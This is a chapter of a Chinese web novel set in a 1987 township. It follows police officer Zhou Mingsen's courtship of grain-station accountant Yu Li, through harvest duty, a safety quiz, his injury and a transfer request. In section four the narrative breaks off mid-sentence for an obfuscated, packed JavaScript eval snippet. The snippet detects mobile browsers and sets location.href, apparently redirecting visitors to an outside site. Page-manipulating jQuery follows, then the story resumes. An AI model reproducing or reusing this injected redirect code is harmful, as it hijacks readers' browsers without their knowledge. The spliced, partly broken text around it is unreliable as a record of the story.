30.情定岁月与坚守之路
作品:《警营岁月》 第26章:情定岁月与坚守之路
【文章摘要】:文章讲述了昝岗镇派出所民警周明森与粮管所助理会计于丽之间从相识到相爱的故事。夏收时节,周明森在粮管所维持秩序,与于丽相遇并互相帮助,两人逐渐产生情愫。周明森在安全知识竞赛中为粮管所职工讲解防火防盗知识,于丽表现出色,两人关系更加亲密。周明森在追捕逃犯时受伤,于丽悉心照顾,并支持他继续从事警察工作。最终,两人喜结连理,共同守护着昝岗镇的安全与和谐。
一:喜相逢
一九八七年的夏收,像是被老天爷泼了把火。昝岗镇的日头毒得能晒化柏油路面,田埂上的土块裂成了碎渣,踩上去簌簌往下掉灰。金色的麦浪在田野里翻涌,风一吹,带着灼人的热气,把麦粒的清香烘得愈发浓郁,混着泥土被晒焦的味道,成了独属于夏收的气息。
粮管所的大院里,比这天气更热的是人的火气。院墙根下挤满了交公粮的农民,架子车、马车、甚至还有几辆突突作响的小拖拉机,在院子里排出了九曲十八弯的长队。车轱辘碾过地面的“吱呀”声、牲口打响鼻的“呼哧”声、还有人喊马叫的嘈杂声,把整个粮管所搅得像口沸腾的大锅。
我一大早就带着所里的李振猛和两个年轻警员来了。二十六岁的年纪,肩膀已经能扛起事,橄榄绿的警服洗得有些发白,却依旧笔挺。四年的从警生涯,把身上的青涩磨成了沉稳,眼神里带着股不怒自威的劲儿,往人群里一站,就能压下几分浮躁。
“都排好队!按顺序来,谁也别插队!”我扯着嗓子喊,声音在嘈杂中撕开一道缝。额头上的汗顺着脸颊往下淌,滴在警服的前襟上,洇出一小片深色的痕迹,刚擦干又冒出来新的,索性就让它淌着。
“张大爷,您那车麦子往三号仓走,那边磅秤空着。”我拍了拍一位老汉的肩膀,他正赶着辆驴车,驴耷拉着脑袋,舌头伸得老长。
“欸!好嘞!谢谢周警官!”张大爷连忙应声,扬了扬手里的鞭子,驴车慢悠悠地拐了弯。
“拖拉机往西边靠靠!别堵着大门,后面的车进不来!”李振猛在另一边指挥着,他比我小两岁,性子急,嗓门比我还大,额头上的青筋都鼓了起来。
夏收这半个月,粮管所是全镇的“火药桶”。农民们起早贪黑割了麦子,就盼着顺顺当当把公粮交了,换点钱买化肥、给娃交学费。可排队久了、粮食被扣了等级、或者因为点鸡毛蒜皮的事起了冲突,火气一上来,拳头就容易比嘴先动。我和所里的人每天泡在这儿,嗓子喊哑是常事,有时还得帮着老弱病残扛几袋麦子,警服上的汗碱结了一层又一层。
就在这忙得脚不沾地的间隙,一个清亮的女声像股清泉,突然钻进了耳朵:“李大叔,您这麦子成色是真好,颗粒饱满的。就是您摸这儿——”手指在麦堆里捻了捻,“水分还大了点,过磅怕是要扣分量。我给您开个条,您到东边晾晒场再晒俩钟头,回来直接找我过磅,不用重新排队,成不?”
我循声望去,只见三号仓门口的验货台前,站着个穿浅蓝色工作服的姑娘。她约莫二十出头,梳着条油亮的麻花辫,垂在胸前,发梢系着个红布条。白球鞋上沾了点麦糠,可身上的工作服却干干净净,袖口挽到胳膊肘,露出的小臂白皙,正麻利地用取样器从粮袋里舀出一把麦子,放在手心里捻开了看。
阳光照在她脸上,能看见细细的绒毛,眼睛又大又亮,像浸了水的黑葡萄,说话时嘴角总带着点浅浅的笑意,让人看了心里舒坦。
“丽丽姑娘,你可真是救了俺老汉了!”刚才还愁眉苦脸的李大叔一下子笑开了,脸上的皱纹挤成了花,“要不是你提醒,俺这一车麦子怕是白拉了,还得再跑一趟!”
“您客气啥,这都是该做的。”姑娘笑着递过一张粉色的纸条,上面用圆珠笔写着编号和姓名,“快去吧,晾晒场那边王大哥在,您说是我让去的,他给您找块好地方。”
李大叔千恩万谢地推着车走了,姑娘转身要拿旁边的账本,目光正好和我对上。她微微一怔,随即那双亮眼睛弯成了月牙,露出两颗小虎牙:“周警官?”
“你认识我?”我有些诧异。每天打交道的人多,除非印象特别深的,不然很难记住每张脸。
“昝岗镇谁不认识您啊。”她笑得更甜了,声音脆生生的,“去年秋天,我们粮管所搞安全培训,请的就是您。讲防火防盗,您还现场演示了怎么用灭火器呢。我叫于丽,是今年开春才来的,在财务室当助理会计,平时不怎么在验货台,您可能没印象。”
我这才隐约有点印象。去年粮管所确实请过我去讲课,那天是个阴天,会议室里坐满了人,黑压压一片,我只顾着对着讲义说,还真没留意过第一排有没有这么个姑娘。
“今天多亏你们所里的人来,”于丽看了眼井然有序的队伍,又转头冲我笑,“往年这时候,光调解插队吵架就得费老劲。”说着,她从口袋里掏出一方叠得整整齐齐的手帕,浅蓝色的,上面绣着朵小小的栀子花,“您擦擦汗吧,看这汗流的。”
我愣了一下,下意识地想摆手说不用,可看着她递过来的手帕,干净得像是刚浆洗过,带着点淡淡的肥皂香,拒绝的话到了嘴边又咽了回去。“谢谢。”我接过手帕,往脸上一抹,凉意混着清香,瞬间驱散了不少燥热。
“你们粮管所今年好像比往年忙得过来了?”我把手帕叠好递回去,注意到旁边多了几个年轻面孔,有男有女,都穿着同款的浅蓝色工作服。
“是啊,开春招了四个新人,我就是其中一个。”于丽指了指不远处正在帮农民搬粮袋的两个小伙子,“那是小卓和小马,都是镇上高中毕业的。现在交公粮的越来越多,光靠老职工确实扛不住。”
正说着,西边突然传来一阵吵嚷,像是炸了锅。“你眼瞎啊!往哪儿撞!”“明明是你抢道!”“俺的麦子撒了!你得赔!”
我和于丽同时转头,只见两辆架子车撞在了一起,车辕都歪了,麦粒撒了一地,金黄的一片,看着让人心疼。两个车主都是三十多岁的汉子,脸红脖子粗地互相推搡,唾沫星子喷得老远,周围的人围了一圈,七嘴八舌地劝,可越劝两人火气越旺。
“我去看看。”我抬脚就往那边走,这种事得赶紧拉开,不然真动起手来,没轻没重的。
没想到于丽比我还快一步,已经穿过人群走了过去。“李叔,王叔,这是咋了?”她声音不大,却带着股让人静下来的力量,“都是一个村的,低头不见抬头见,为这点事伤了和气,不值当啊。”
那个叫李叔的汉子喘着粗气:“他抢道!把俺的麦子都撞撒了!”
“我没抢!是你自己没拉住车!”王叔梗着脖子反驳。
于丽没急着评判谁对谁错,先蹲下身看了看撒在地上的麦子,又看了看两车的位置,站起身笑着说:“李叔,您看这样中不?东边那棵老槐树下还有块阴凉地,能排上队,我让小卓帮您把车推过去,那边凉快,还不耽误事。”又转头对王叔说:“王叔,您这车麦子看着着急过磅,这儿的位置就让给您,您赶紧过了磅回家,嫂子还等着您吃饭呢。”
她话说得熨帖,既给了两人台阶,又把事安排得明明白白。刚才还剑拔弩张的两个汉子,听了这话,脸都有点红了。
“那……那谢谢丽丽姑娘了。”李叔挠了挠头,没再揪着不放。
“俺刚才也有点急了。”王叔嘟囔了一句,语气软了下来。
周围的人都松了口气,有人打趣道:“还是丽丽姑娘会说话,这俩炮仗没点着!”
我站在人群外,看着于丽指挥小卓帮李叔拾掇撒了的麦子,又笑着跟王叔交代了两句,几句话的功夫,一场眼看就要爆发的冲突就消弭于无形。心里不禁对这个姑娘多了几分佩服。在基层待久了就知道,能把话说到人心坎里,比啥都管用,这本事,不是一天两天能练出来的。
接下来的大半天,我和于丽像是有了默契。我带着队员在院子里维持大秩序,处理那些推搡争吵的苗头;她在验货台那边,不仅麻利地验粮开票,还总能在农户有情绪的时候,三言两语就给劝顺了。有农户嫌排队久了抱怨,她就递杯凉水解渴;有老人看不清票据上的字,她就念给人家听;有年轻人急着交完粮去镇上办事,她就帮忙协调优先过磅。
太阳慢慢往西斜,热度减了些,交粮的队伍虽然还长,但秩序已经顺畅多了。到了傍晚,最后一辆马车驶出粮管所大门时,我累得往墙上一靠,感觉骨头都快散架了,警服后背已经被汗渍浸透,结了层白花花的盐霜。
“周警官,喝口水吧。”于丽走了过来,手里拿着个军用水壶,军绿色的,上面印着“为人民服务”五个字,看着有些年头了。“我自己晾的薄荷茶,放了点冰糖,解暑。”
我接过水壶,壶身还带着点余温。拧开盖子,一股清凉的薄荷香飘了出来,仰头喝了一大口,甘甜的茶水滑过喉咙,带着股清爽的凉意,从嗓子眼一直凉到心里,浑身的疲惫好像都散了不少。
“谢谢。”我把水壶递回去,真心实意地说,“今天多亏有你,不然光处理那些纠纷,我这嗓子就得废了。”
于丽摇摇头,把水壶往腰上一别:“是您指挥得好,大家见有警察在,也收敛了不少。”她顿了顿,像是突然想起什么,眼睛亮了亮,“对了,周警官,下周五晚上,我们所里想搞个安全知识竞赛,就是想让大家多学点防火防盗的本事。所里人都说,您讲这个最清楚,想请您来当指导,不知道您有空没?”
我几乎没犹豫就答应了:“没问题,正好最近所里不忙。具体时间地点,你到时候告诉我一声就行。”
“那太好了!”于丽笑得眼睛更亮了,像落了两颗星星,“我明天把竞赛的题目和流程整理好,给您送过去。”
夕阳把她的影子拉得很长,落在满是麦糠的地面上,麻花辫上的红布条随风轻轻晃着。我看着她转身往财务室走的背影,突然觉得,这个被汗水浸透的夏日,好像也没那么难熬了。
二:渐生情愫
安全知识竞赛定在周五晚上七点,粮管所的会议室里挤得满满当当。二十多个年轻职工坐得整整齐齐,桌子上摆着搪瓷缸子,里面大多泡着茶叶,氤氲的热气混着年轻人身上的肥皂香味,让不大的房间里显得格外热闹。
我站在讲台上,面前放着块小黑板,手里捏着半截粉笔。穿了身干净的警服,头发也特意梳了梳,虽然还是有点紧张,但一说起专业的东西,底气就足了。“今天咱们先说说仓库防火,粮食这东西,干燥,易燃,一旦着了火,那就是火烧连营……”
我从仓库的线路检查讲到灭火器的使用,从夜间巡逻的注意事项讲到发现火情后的报警流程,时不时举几个镇上发生过的真实案例,听得底下的人都忘了说话,连掉根针都能听见。
于丽坐在第一排正中间,手里拿着个硬壳笔记本,低着头认真地记着。灯光照在她的侧脸上,能看见长长的睫毛,笔尖在纸上划过,发出沙沙的轻响。偶尔抬头看我一眼,眼神里带着点专注,遇上我讲得有意思的地方,嘴角会偷偷弯一下。
“最后再提醒大家一点,”我敲了敲黑板,目光扫过全场,不经意间在于丽脸上多停留了一秒,“现在天热,用电量大,办公室的风扇、电灯,仓库的抽水机,用完一定要关掉电源。去年咱们镇东头老王家,就是因为电线老化,加上晚上忘了关电扇,半夜起了火,幸亏发现得早,不然整间屋子都得烧没了。”
讲课结束时,底下响起一片掌声。粮管所的王所长是个微胖的中年人,笑着走上台:“感谢周警官的精彩讲解,这都是实打实的保命知识!下面,咱们的安全知识竞赛正式开始!”
竞赛分了三个队,于丽代表财务科出战。她穿着件白色的确良衬衫,头发还是梳成麻花辫,只是没系红布条,显得更利落了些。轮到她答题时,不管是必答题还是抢答题,都答得又快又准,连我特意出的几个冷门题——比如不同型号灭火器的适用范围,她都对答如流。
“最后一道决胜题,”王所长拿着题目卡,故意卖了个关子,“如果发现粮仓有可疑人员潜入,应该怎么做?”
底下瞬间安静了,连掉根针都能听见。于丽几乎没犹豫,声音清亮地回答:“第一,先确保自己的安全,不能贸然上去对峙,万一对方带了家伙,容易吃亏;第二,赶紧找个隐蔽的地方,给保卫科打电话,同时报派出所,说清楚具体位置和可疑人员的特征;第三,在安全距离外盯着点,别让他跑了,等警察来了好提供线索。”
“回答正确!”王所长笑着鼓掌,“财务科获胜!”
底下一片欢呼,财务科的几个人高兴地拍起了手。颁奖的时候,我拿着奖状走下台,亲手递到于丽手里。“没想到你对安全知识这么熟。”我由衷地赞叹,刚才那道题,连所里有些老民警都未必能答得这么周全。
于丽接过奖状,脸颊有点红,不好意思地笑了笑:“我爸在县粮局搞消防工作,从小就跟在他屁股后面转,仓库、灭火器、安全守则,听得多了,就记住了。”她顿了顿,补充道,“我爸总说,干粮食这行,安全比啥都重要,一粒粮食都不能烧。”
“原来是家学渊源。”我恍然大悟,怪不得她对这些这么上心。
正说着,王所长走了过来,拍着我的肩膀:“周警官,今天辛苦你了。晚上别走了,在所里食堂吃个便饭,炒两个菜,咱们喝两盅?”
我正要推辞,所里晚上还有值班的,走不开。于丽却先开口了,声音轻轻的:“所长,周警官忙了一天,白天在粮管所站了大半天,晚上又来讲课,肯定累坏了。要不改天吧,等不忙了,咱们再正式请周警官吃饭。”
这话听得我心里一暖。她不说我要值班,也不说我可能有事,只说我累了,既给了王所长面子,又替我解了围,细心得让人熨帖。
“也是,看我这记性。”王所长拍了拍脑门,“那周警官先回去休息,改天一定补上。”
从粮管所出来,天已经黑透了。夏夜的风带着点凉意,吹在脸上很舒服,吹散了白天的燥热,也吹散了身上的疲惫。粮管所离派出所不远,也就两里地,我推着自行车,于丽走在旁边,两人并肩慢慢往镇上走。
路边的路灯是那种老式的,昏黄的光透过树叶的缝隙洒下来,在地上投下斑驳的影子。偶尔有晚归的人骑着自行车经过,叮铃铃的车铃声在安静的街道上格外清晰。
“今天真是谢谢你了,周警官。”于丽先开了口,声音比白天低了些,“你讲的那些案例,都挺实在的,比我们看文件印象深多了。”
“应该的,这是我的工作。”我顿了顿,想起她刚才说的话,忍不住问,“你父亲在粮局干了很多年了吧?”
“嗯,三十多年了。”于丽的语气里带着点自豪,“我小时候经常去粮局的仓库玩,那些消防水带、灭火器,我闭着眼睛都能摸对地方。我爸总说我是个假小子,不像别家姑娘喜欢布娃娃,就喜欢摆弄这些铁家伙。”
“那你怎么没接你父亲的班,也去搞消防?”我有点好奇,按说她对这些这么熟悉,干这行挺合适的。
于丽笑了,路灯的光落在她脸上,能看见她眼里的笑意:“我更喜欢跟数字打交道。每天对着账本,算清楚每一笔收支,看着粮食进仓出仓,心里踏实。而且我觉得,不管在哪个岗位,把自己的活儿干好,都是为人民服务,对吧?”
这话让我心里一动。八十年代末,年轻人都盼着往城里跑,能进工厂当工人就谢天谢地了,像她这样愿意留在镇上粮管所,还能说出“都是为人民服务”的,真不多见。我转头看了她一眼,她的侧脸在昏黄的灯光下显得格外柔和,麻花辫垂在肩头,随着脚步轻轻晃动。我忽然觉得,这个看似文静的姑娘,心里藏着股实在劲儿,像粮管所仓库里的麦子,饱满、踏实,不张扬却有分量。
“你说得对,”我点点头,脚下的石子被踢得滚了滚,“不管在哪儿,把事做好了,就是本分。”
走到镇口的岔路,左边是去派出所的路,右边通粮管所宿舍。于丽停下脚步,从帆布包里掏出个东西递给我:“这个给您。”是本蓝色封皮的笔记本,封面上用钢笔写着“安全知识要点”,字迹娟秀工整。“我把您今天讲的重点都整理了一下,还有咱们竞赛的题目,您看看有没有漏的,以后要是有农户来交粮,我也能给他们讲讲。”
我接过笔记本,封面还带着点她的体温,翻开一看,里面不仅抄录了要点,还画了简单的灭火器示意图,连不同火情该用哪种灭火器都标得清清楚楚。“太用心了,”我合上笔记本,认真地说,“谢谢你,于丽。”
这是我第一次叫她的名字,不是“于同志”,也不是“小于”,就这么自然地叫了出来。于丽显然愣了一下,随即脸上泛起红晕,低下头小声说:“应该的。周警官,那我……我先走了。”
“嗯,路上小心。”我看着她转身往右边走,白衬衫的衣角在风里轻轻飘,直到她的身影拐进巷子,看不见了,才推着自行车往派出所走。手里的笔记本沉甸甸的,比刚交完的公粮还让人觉得踏实。
三:心意相通
接下来的日子,我和于丽见面的次数渐渐多了起来。有时是我去粮管所巡查安全,她正好在验货台,会笑着跟我打招呼,递杯凉茶水;有时是她来派出所送报表,会顺便带来新整理的安全知识笔记,跟我讨论几句仓库防盗的细节。
有一次,粮管所的老仓库电路出了问题,晚上突然跳闸,于丽第一时间给我打电话,声音虽然有点急,但条理很清楚:“周警官,仓库里的应急灯亮了,我们没敢进去,怕有漏电,您看能不能派人来看看?”我带着电工赶过去时,她正守在仓库门口,手里拿着手电筒,额头上全是汗,却还在跟值班的老师傅交代:“别让任何人靠近,等电工师傅检查完再说。”
处理完电路,已经快半夜了。我往外走时,于丽追了出来,手里拿着个油纸包:“刚在食堂热的馒头,您带着路上吃。”馒头还热乎着,隔着油纸都能闻到麦香味。“今天多亏您来得快,不然我真有点慌。”她站在路灯下,眼睛亮晶晶的,像含着星光。
“这是我们该做的。”我接过馒头,心里暖烘烘的,“你处理得很对,遇到这种情况,先保证安全,再找人帮忙,一点都没慌。”
她被夸得有点不好意思,抓着衣角说:“是您教的呀,您说过,安全第一,不能逞能。”
那天晚上的月光特别亮,洒在空无一人的街道上,像铺了层白霜。我咬着热乎乎的馒头,忽然觉得,昝岗镇的夜晚,好像没那么冷清了。
秋分时,粮管所搞了场秋收表彰会,于丽因为安全工作做得好,拿了个“先进个人”。她上台领奖时,特意看了我一眼,眼神里带着点笑意,像是在说“你看,我做到了”。散会后,她拿着奖状找到我,有点不好意思地说:“这里面也有您的功劳。”
“是你自己做得好。”我看着她手里的奖状,忽然想起第一次在粮管所见到她的样子,那个笑着劝架的姑娘,现在已经能独当一面了。“对了,周末所里组织去水库秋游,你要不要来?都是年轻人,热闹。”
于丽眼睛一亮,随即又有点犹豫:“不太好吧,我不是派出所的……”
“没事,就当是感谢你帮我们整理安全笔记了。”我笑着说,“就这么定了,周六早上八点,所里门口集合。”
她用力点点头,脸上的笑容像秋阳一样,暖融融的。我看着她跑回办公室的背影,手里的馒头还留着余温,心里忽然冒出个念头:或许,这个秋天,会比往年更有意思些。
周六清晨,派出所门口停着辆绿色的军用吉普,车斗里堆着几个鼓鼓囊囊的帆布包,装着水壶、面包和急救包。我正低头检查物资,身后传来轻快的脚步声,回头就看见于丽站在晨光里,穿着件浅蓝色的确良衬衫,袖口挽到小臂,露出白皙的手腕,手里还提着个竹篮,盖着碎花布。
“我带了点自己腌的咸菜和煮鸡蛋,路上吃。”她把竹篮递过来,篮沿还缠着圈红绳,看着格外喜庆。
“你这也太客气了。”我接过篮子,入手沉甸甸的,掀开布角一看,玻璃罐里的咸菜色泽鲜亮,鸡蛋个个圆润光滑,“所里备了干粮,你这又添了好东西。”
“路上垫垫肚子,总比干啃面包强。”于丽笑起来的时候,眼角会弯成月牙,“张叔他们呢?”
“在后头呢,催了八百遍了,说要去水库钓鱼。”我朝院里喊了声,“老王,快点!再磨蹭太阳都晒屁股了!”
院里立刻传来一阵哄笑,几个年轻警员推着自行车跑出来,闹哄哄地往吉普车上爬。于丽站在一旁看着,时不时被他们的玩笑逗得抿嘴笑,晨光落在她发梢,镀上层浅金色的光晕,看得我心里莫名一动。
吉普车载着满车笑语往水库开,路两旁的白杨树叶子已经泛黄,风一吹就簌簌往下落,像撒了把碎金。于丽坐在副驾驶,手里翻着我昨天给她的新案件笔记——最近镇上丢了几只羊,我正带着人追查,她听说后,非要借去看看,说粮管所的仓库也曾丢过东西,或许能找到共通点。
“你看这里,”她指着笔记上的记录,“偷羊的人每次都选在月圆夜,会不会和粮管所上次丢麻袋的时间对上了?我记得上个月十五,仓库少了两捆麻绳。”
我凑过去看,她的发丝不经意扫过我的手臂,带着股淡淡的皂角香。“还真有可能!”我猛地拍了下方向盘,“月圆夜视线好,又适合隐蔽,这小偷倒是会选时候。”
于丽指尖在“月圆夜”三个字上点了点:“而且这几次案发地都在镇西头,离粮管所仓库不远……”
“你这脑子,不去当警察可惜了。”我忍不住夸她,转头时正好对上她的目光,那双眼睛亮得像浸在水里的黑曜石,我心里一跳,赶紧转回头看路,耳朵却悄悄发烫。
到了水库,老王他们扛着鱼竿就往岸边冲,嚷嚷着要比谁钓的鱼大。我和于丽找了块树荫,把竹篮里的东西倒在铺好的塑料布上,咸菜配馒头,竟吃得格外香。
“你看他们,”于丽指着水里扑腾的老王,笑得肩膀直颤,“钓个鱼跟打仗似的。”
“他们就这样,平时办案绷紧了弦,出来玩就得撒欢。”我递给她瓶橘子汽水,“尝尝,冰镇的。”
汽水瓶壁凝着水珠,她接过去的时候,指尖不小心碰到我的手,像有微弱的电流窜过,两人都愣了下,又赶紧移开目光,气氛忽然变得有点微妙。
午后阳光正好,老王他们还在为钓上条半斤重的鲫鱼吵吵嚷嚷,我和于丽坐在树荫下整理案件笔记,她忽然指着其中一页说:“上次粮管所丢麻绳,我在仓库角落发现个脚印,当时没在意,现在想想,尺码和你记录的偷羊贼脚印差不多。”
“真的?”我眼睛一亮,“那仓库附近的泥地说不定还能找到痕迹!”
“下午回去我带您去看看?”于丽抬头看我,眼里闪着认真的光,“说不定能有新发现。”
风拂过水面,带着水汽的凉意,吹得树叶沙沙响。我看着她被阳光晒得微红的脸颊,忽然觉得,这个秋天不仅有意思,还藏着点让人心里发暖的甜。
“好啊,”我笑着点头,“下午就麻烦你带路了。”
于丽弯起眼睛,应了声“不麻烦”,低头时,耳尖悄悄红了。远处传来老王他们的欢呼,大概是又钓上了大鱼,可我看着身边认真翻看笔记的姑娘,忽然觉得,比起大鱼,眼前的这份默契,或许才是今天最大的收获。
四:波折重重
十一月底的昝岗镇,已经透着刺骨的寒意。白杨树的叶子落得精光,光秃秃的枝桠在北风里抖得厉害,像是老人冻得发颤的手指。我正接手一起棘手的盗窃案——镇上供销社连续三晚被盗,丢了烟酒和布料,损失不小。嫌疑人很狡猾,专挑雨夜作案,现场没留下任何指纹,只在墙角发现了几个模糊的胶鞋印。
为了破案,我带着李振猛连续半个月泡在供销社周围,白天走访排查,晚上蹲点守候。天不亮就出门,半夜才拖着冻僵的身子回所里,别说和于丽见面,连打电话的功夫都没有。偶尔在食堂碰到去送报表的她,也只能匆匆说上两句,看着她欲言又止的样子,心里又愧疚又着急。
破案那天是个晴天,我们蹲在供销社后墙的草垛里冻了两晚,终于逮住了那个专偷供销社的惯犯——邻村的一个赌徒,把偷来的东西拿去换了赌资。押着人回所里时,天刚蒙蒙亮,我冻得嘴唇发紫,却浑身透着股劲,只想立刻见到于丽,把这个好消息告诉她。
洗了把热水脸,换了身干净警服,我揣着刚买的水果罐头,兴冲冲地往粮管所宿舍跑。于丽住的宿舍楼在粮管所后院,是栋老式的二层红砖楼,楼道里堆着杂物,踩上去咯吱作响。还没到楼下,就看见路灯下站着两个人影。
一个是于丽,穿着那件我见过的浅蓝色棉袄,正和一个陌生男子说话。那男子穿着件时髦的皮夹克,头发梳得油亮,推着一辆崭新的“永久”牌自行车,车把上还挂着个印着城市风景的提包。两人离得不远,男子正递给于丽一个长方形的盒子,于丽笑着接了过来,还说了句什么,引得男子也笑了起来。
我的脚步像被钉在了地上,心里“咯噔”一下,像被什么东西堵住了,闷得发慌。那男子看起来比我洋气,说话时手势潇洒,和于丽站在一起,竟有种说不出的般配。手里的罐头突然变得沉甸甸的,捏得手心发疼。
“小丽。”我走上前,声音自己听着都有些发涩,像被北风刮过的树枝。
于丽回头看见我,眼睛一下子亮了,像落了星星:“明森!你怎么来了?案子破了?”她笑着转向那男子,“表哥,这就是我跟你提过的周明森,昝岗派出所的民警。明森,这是我表哥,从省城来看我。”
表哥?我愣了一下,心里的那块石头“咚”地落了地,脸上却有点发烫,刚才那点莫名的醋意还没散。“表哥好。”我赶紧伸出手,和他握了握,他的手很暖和,不像我,冻得冰凉。
“早就听小丽提起你,说你是个能干的警官。”表哥笑着说,一口标准的普通话,带着点省城的口音,“这次来没提前说,给你们添麻烦了。”
“不麻烦,欢迎还来不及。”我连忙摆手,把手里的罐头递过去,“一点心意。”
表哥客气地接了,又聊了几句,说要去亲戚家,就推着自行车走了。临走前还冲于丽挤了挤眼,那眼神里的打趣,让我脸上更热了。
“刚才是不是吃醋了?”于丽转过身,似笑非笑地看着我,眼睛弯成了月牙。
“没有。”我嘴硬,把头扭向一边,假装看墙上的标语。
“还说没有,”她伸手戳了戳我的胳膊,“脸都黑了,跟锅底似的。”她把手里的盒子递给我,“喏,表哥带给我们的礼物,说是提前送的新婚贺礼,他说看我们俩肯定成。”
我接过盒子,打开一看,里面是一对精致的陶瓷娃娃,男娃娃穿着中山装,女娃娃梳着麻花辫,脸上都带着笑,红扑扑的,看着格外喜庆。“这表哥,也太着急了吧。”我哭笑不得,心里却甜丝丝的。
“他是替我高兴。”于丽轻声说,哈出的白气在冷空气中很快散开,“我跟他从小在一个院里长大,他就像我亲哥一样,知道我找着合适的人,比谁都开心。”
我看着她冻得发红的鼻尖,心里那点别扭早就烟消云散了,只剩下心疼。“这么冷的天,怎么不在屋里等?”
“刚送表哥出来,想着你可能快忙完了,就站这儿等会儿。”她抬头看我,眼睛里亮晶晶的,“案子破了,累坏了吧?我给你留了热粥,快上去喝。”
那碗热粥是小米粥,熬得稠稠的,里面还卧了个鸡蛋。喝着粥,听着于丽絮絮叨叨说表哥带来的省城新鲜事,我忽然觉得,之前半个月的辛苦,都值了。这小小的误会,像块试金石,反而让心里的那点情愫,扎得更深了。
然而,真正的考验,来得比想象中更快。
十二月中旬,县局通报了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954701|192731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个逃犯的消息——那家伙在邻县偷了辆摩托车,还撞伤了人,一路往昝岗这边逃。我带着两个队员在必经之路设卡,没想到那逃犯狗急跳墙,骑着摩托车就往玉米地里冲。我想都没想就追了上去,在田埂上扭打时,被他狠狠推了一把,左腿撞在石头上,当时就没了知觉。
等我醒过来,已经躺在县医院的病床上了。左腿打着厚厚的石膏,吊在架子上,动一下就钻心地疼。段旭守在旁边,眼睛通红:“明森,你可醒了!医生说左腿骨折,得躺俩月。”
我刚想说话,病房门被推开了,于丽冲了进来,头发乱糟糟的,眼眶通红,看到我吊着的腿,眼泪“唰”地就下来了。“怎么回事?不是说设卡吗?怎么会受伤?”她声音都在抖,想碰我的腿又不敢,只能死死攥着我的手。
“没事,小伤。”我笑着安慰她,手被她攥得生疼,心里却暖烘烘的,“你怎么来了?不用上班吗?”
“我请了假,所长特批的。”她抹了把眼泪,强挤出个笑容,“我不放心,得在这儿照顾你。”
接下来的日子,于丽天天往医院跑。早上天不亮就去食堂打饭,然后骑车到医院,给我擦脸、喂饭、按摩没受伤的腿,下午再赶回粮管所处理点急事,晚上又提着保温桶过来,里面是她特意炖的排骨汤。
“我都说了不碍事,”我看着她眼下的乌青,心里又感动又愧疚,“你上班那么累,不用天天来的,让护工弄就行。”
“护工哪有我细心?”她舀了勺汤吹凉,送到我嘴边,“还是说,你嫌我照顾得不好?”
“当然不是!”我赶紧摇头,“我是怕你太辛苦,来回跑太累。”
“累点怕什么,只要你能早点好起来。”她看着我,眼神里全是认真,“你呀,以后办案别那么拼命,得想想自己的安全。”
我正想答应,病房门又开了,我爸妈和于丽的父母一起走了进来,手里还提着水果和鸡蛋。看到这阵势,我和于丽都愣住了,病房里的气氛一下子变得有点凝重。
“明森,丽啊。”于父先开了口,他平时话不多,今天眉头皱得紧紧的,“我们今天来,是想跟你们商量件事。”
我心里咯噔一下,有种不好的预感。
“明森这次受伤,我们看着都揪心。”我妈接过话头,眼圈红了,“警察这工作是光荣,可太危险了!这次是腿骨折,下次万一……”
“妈!”于丽打断她,声音有点急,“您别说了。我喜欢明森,就是因为他是警察,正直、有担当。危险不危险的,我不在乎。”
“可我们在乎啊!”于父叹了口气,声音里带着无奈,“小丽是我们唯一的闺女,我们不想她以后天天提心吊胆过日子。”
病房里一下子安静了,只有窗外的北风呼呼地刮着。我看着四位长辈担忧的脸,又看看于丽倔强的眼神,心里像打翻了五味瓶。我知道他们是为我们好,可让我脱下这身警服,我舍不得——那不仅是份工作,更是心里的一份执念。
“叔叔阿姨,爸,妈。”我深吸一口气,诚恳地说,“我知道你们担心丽,也担心我。我向你们保证,以后一定注意安全,尽最大努力保护好自己。而且……”我看了于丽一眼,她正看着我,眼神里带着惊讶,“我打算申请调岗,转到机关科室去,虽然可能没一线办案有意思,但至少安全些。”
“真的?”四位家长异口同声地问,眼睛里都透着惊喜。
于丽却皱起了眉头,轻轻挣开我的手:“明森,你不能这样。你热爱你的工作,上次你跟我说破了盗窃案时,眼睛亮得像星星。你怎么能为了我放弃自己喜欢的事?”
“不是为了你,”我重新握住她的手,认真地看着她的眼睛,“是为了我们的未来。我想和你安安稳稳过日子,不想让你天天为我担心,也不想让爸妈再受惊吓。”
病房里又陷入了沉默,只有墙上的挂钟滴答作响。最后还是于父开了口,他拍了拍我的肩膀:“既然明森都有这个打算了,咱们也就别拦着了。孩子们都大了,自己的事让他们自己决定吧。”
于丽没再说话,只是低着头,手指无意识地绞着衣角。我知道她心里不好受,可我当时觉得,这或许是最好的办法。
五:情深意长
我出院那天,天放晴了,阳光透过窗户照在地上,暖洋洋的。于丽推着轮椅,把我送回了家。爸妈早就把房间收拾好了,铺了厚厚的褥子,还在床边放了个小桌子,方便我吃饭看书。
回家的第二天,我就写了调岗申请,交给了段旭,让他帮忙递上去。心里有点舍不得,却也松了口气,想着以后能多陪陪于丽,不用再让她担惊受怕,也值了。
没想到,过了一周,段旭拿着申请回来了,脸色有点复杂:“明森,局里把申请驳回了。”
“为什么?”我愣了一下,有点不敢相信。
“局长说要找你谈谈,让你现在就去局里一趟。”段旭把申请递给我,“他说不是不批,是有别的考虑。”
我心里七上八下的,拄着拐杖去了县局。局长办公室里,老局长正泡着茶,看到我进来,笑着招手:“小周,来,坐。”
“局长,您找我?”我在椅子上坐下,心里有点忐忑。
“你的调岗申请我看了。”老局长呷了口茶,慢悠悠地说,“你的心情我理解,成家了,想安稳点,怕家里人担心,这都正常。”
我没说话,等着他往下说。
“但是啊,”老局长放下茶杯,看着我,“咱们基层派出所,最缺的就是你这样有能力、有经验的年轻干部。你想想,你从警四年,破了多少案子?昝岗镇的老百姓提起你,哪个不竖大拇指?就因为一次受伤,就把这身本事收起来,你甘心吗?”
